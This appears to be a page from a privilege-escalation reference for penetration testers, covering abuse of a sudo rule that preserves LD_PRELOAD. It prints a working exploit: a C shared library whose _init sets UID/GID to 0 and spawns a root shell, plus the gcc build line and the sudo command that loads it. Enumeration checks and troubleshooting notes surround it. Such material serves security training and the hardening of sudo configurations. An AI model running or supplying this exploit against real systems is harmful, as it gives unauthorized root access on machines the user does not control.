Load a controlled library through a permitted sudo environment
Needs: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
Preserved LD_PRELOAD variant
// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/sh");
}
Preserved LD_PRELOAD variant
# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM
Verify → Require the library's actual effect and effective identity; a successful compile alone proves nothing about the loader.
If it fails → Static linking, environment sanitization, secure-execution handling and policy denial break this route. More detail ↓
Explanation & examples
Load a controlled library through a permitted sudo environment
- USE WHEN
- A sudo rule explicitly preserves or permits a loader variable
- STARTING ACCESS
- A verified Linux foothold with a known effective UID, groups and filesystem context
- RESULT
- Verified privileged library initialization under the permitted run-as identity
Recognize the clue
Inspect sudo's environment-related tags/defaults and the exact allowed executable's dynamic-linking evidence.
sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM
env_keep includes LD_PRELOAD, or applicable SETENV
Allowed program: dynamically linked
Run-as: rootMeans: Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.
Confirm: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.
- After validation
- The permitted loader consumes the chosen library and its effect runs under the expected identity: select this route.
- Ruled out in this context
- The binary is static or the variable is sanitized: reject this preload chain.
- Still inconclusive
- SETENV alone without compatible consumer/loader evidence leaves the route incomplete.
Troubleshooting: Static linking, environment sanitization, secure-execution handling and policy denial break this route.
Preserved LD_PRELOAD variant
Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.
Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.
Why it works
LD_PRELOAD inserts a library before normal symbol resolution only when the privileged execution path preserves and honors it. Merely setting the variable in an ordinary shell does not satisfy sudo or secure-loader policy.
Worked example · hypothetical
Observation: the rule permits a loader variable for one dynamic program. Test: inspect the exact rule and executable before using the controlled library. Illustrative output: the library's identity proof runs as the run-as user. Interpretation: the loader transition is verified.
New identity, privilege, host or route? Re-enumerate → All topic tasks →